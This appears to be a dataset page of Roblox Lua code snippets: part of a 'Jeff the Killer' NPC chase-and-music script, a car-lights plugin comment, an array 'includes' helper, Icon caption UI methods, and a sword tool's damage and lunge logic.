elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=28;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=1300;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;
|
--[[
HOW TO USE THIS PLUGIN:
In the body, set all of the lights you want to use as follows:
Li -indicates the left indicator
Ri -indicates the right indicator
HLL -indicates the low beam headlights
HLH -indicates the high beam headlights
BL -indicates the brake light
RRL -indicates the rer running light
RevL -indicates the reverse light
You can name multiple parts as any of the above.
]]
|
--
|
--!strict
|
local indexOf = require(script.Parent.indexOf)
type Array<T> = { [number]: T }
return function<T>(array: Array<T>, searchElement: any, fromIndex: number?): boolean
return indexOf(array, searchElement, fromIndex) ~= -1
end
|
-- Captions
|
function Icon:setCaption(text)
assert(typeof(text) == "string" or text == nil, "Expected string, got "..typeof(text))
self.captionText = text
self.instances.captionLabel.Text = text
self.instances.captionContainer.Parent = (text and activeItems) or self.instances.iconContainer
self:_updateIconSize(nil, self:getToggleState())
if self.hovering then
self:_displayCaption(true)
end
return self
end
function Icon:_displayCaption(visibility)
local newVisibility = visibility
if self.captionText == nil then
return
elseif userInputService.TouchEnabled and not self._draggingFinger then
return
end
local yOffset = 8
if self._draggingFinger then
yOffset = yOffset + THUMB_OFFSET
end
local iconContainer = self.instances.iconContainer
local captionContainer = self.instances.captionContainer
local newPos = UDim2.new(0, iconContainer.AbsolutePosition.X+iconContainer.AbsoluteSize.X/2-captionContainer.AbsoluteSize.X/2, 0, iconContainer.AbsolutePosition.Y+(iconContainer.AbsoluteSize.Y*2)+yOffset)
captionContainer.Position = newPos
-- Change transparency of relavent caption instances
for _, settingName in pairs(self._uniqueSettings.caption) do
self:_update(settingName)
end
end
|
-- PIERCING SWORD --
|
r = game:service("RunService")
local sword = script.Parent.Handle
local Tool = script.Parent
local damage = 7
local epicKatana = false
local p = nil
local humanoid = nil
local slash_damage = 9
local lunge_damage = 11
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm") or vCharacter:FindFirstChild("RightHand")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
tempDamage = damage
if humanoid.Health < 50 and humanoid.Health > 1 then
tempHealth = humanoid.Health
tempHealth = math.floor(tempHealth/10)
if tempHealth == 0 then
damage = 50
else
damage = math.floor((damage * 6)/(tempHealth))
end
end
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
damage = tempDamage
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
force.Parent = Tool.Parent:FindFirstChild("Torso") or Tool.Parent:FindFirstChild("UpperTorso")
wait(.2)
swordOut()
wait(.2)
force.Parent = nil
wait(.4)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.Grip = CFrame.new(0, -2, 0, 1, 0, -0, 0, 1, 0, 0, -0, 1)
end
function swordOut()
Tool.Grip = CFrame.new(0, -2, 0, 1, 0, 0, 0, 0, -1, -0, 1, 0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(0.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.